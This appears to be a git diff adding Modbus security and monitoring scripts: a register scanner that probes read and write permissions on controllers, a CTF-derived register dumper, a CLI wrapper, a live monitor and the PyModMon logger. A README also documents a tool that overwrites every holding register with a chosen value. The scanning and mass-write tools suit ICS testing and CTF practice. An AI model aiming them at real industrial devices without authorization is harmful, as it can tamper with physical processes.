+ #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + 